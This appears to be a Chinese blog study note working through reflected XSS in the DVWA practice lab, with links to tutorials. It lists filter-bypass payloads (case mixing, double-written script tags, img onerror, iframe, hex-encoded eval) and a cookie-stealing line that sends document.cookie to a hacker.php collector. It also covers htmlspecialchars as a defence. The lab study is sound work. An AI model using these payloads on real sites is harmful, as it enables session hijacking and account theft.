前情提要:html的dom对象:document

如document.cookie  / document.write()

http://netsecurity.51cto.com/art/201311/417201.htm实战演示

1.判断是否有反射型XSS漏洞:

2.实践

http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html两个都给我看

img.src="http://localhost/xss/hacker.php?x=" + document.cookie;  //document.location:将页面的内容指定到指定位置

其实不写hacker.js文件也行,直接url里构造就好了

+document.cookie的+是连接符而已,其实是替代了空格、回车!!!(+号可以用%2b编码)

//PHPSESSID后的value可以直接双击修改

 @靶场实践DVWA-XSS(reflected)

教程http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html(更牛逼)

http://www.storysec.com/dvwa-xss-reflected.html(更更牛逼)

1.为啥在搜索框里输入<script>alert(/xss/)</script>不跳出弹窗?

(1)F12一下,html的<pre>标签把<>实体化了,所以输入</pre><script>alert(/xss/)</script><pre>,抵消掉原来的pre标签,弹窗就出来了

(2)<script>被过滤了:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

法一:大小写绕过 </pre><SCriPt>alert(/xss/)</ScRipt><pre>

法二:双写绕过  ‘><sc<script>ript>alert("如果你能看到,说明攻击成功")</script>话说为什么要加'>啊?看另一个教程就没加'>,没有也可以跳出弹窗的说

str_replace()只过滤了一次<script>,外面的被拼接,真是妙不可言

(3)<script>被更厉害地被过滤了(正则)

preg_replace 函数使用正则表达式的搜索和替换,使得双写绕过、大小写混淆也无能为力了。
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
比如:</pre><img src=1 onerror=alert(/xss/)><pre>
   <a href='#' onclick=alert(/xss/)>test</a>
   <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  

   <iframe onload=alert(1)>

   <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

(4)使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

于是这下完全防御了XSS注入

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

2.输入<Xtt>XSS,F12发现出现<xtt>XSS</xtt>标签,说明存在XSS漏洞

原理:事实上并没有<Xtt>这个标签,只是html的自动补全功能,还他喵的不分大小写

最新文章

  1. S5PV210_流水灯
  2. sphinx使用小记之使用小结
  3. 如何让ThinkPHP的模板引擎达到最佳效率
  4. Mapper映射器
  5. Jquery实现图片左右自动滚动
  6. 关于JQuery 中$.ajax函数利用jsonp实现Ajax跨域请求ASP.NET的WebService成功获取数据的案例
  7. (四) PHPCMSV9如何更换模板风格
  8. 一个简单C程序的汇编代码分析
  9. iOS回顾笔记(06) -- AutoLayout从入门到精通
  10. Hive基础知识
  11. Spring源码学习-容器BeanFactory(二) BeanDefinition的创建-解析前BeanDefinition的前置操作
  12. RestTemplate的逆袭之路,从发送请求到负载均衡
  13. 【竞价网站绝技】根据访客ip,页面显示访客所属城市的html代码(借用YY IP地址库)
  14. findBugs安装
  15. Intellij IDEA注册激活破解
  16. 3、VNC
  17. python第四天 三级菜单新思路
  18. Windows10下pip的配置文件设置
  19. JQuery中Ajax的Post提交在IE下中文乱码的解决方法
  20. 数据库与ORM

热门文章

  1. 【洛谷P4309】最长上升子序列
  2. 将TextEdit设置为密码框
  3. python_自动化测试用例参数化
  4. java设置Cookie
  5. NURBS 曲线和曲面参数化
  6. C# socket异步 服务端
  7. luoguP1772 [ZJOI2006]物流运输 x
  8. HDU 6155 Subsequence Count (DP、线性代数、线段树)
  9. node.js渲染页面
  10. sqli-labs(43)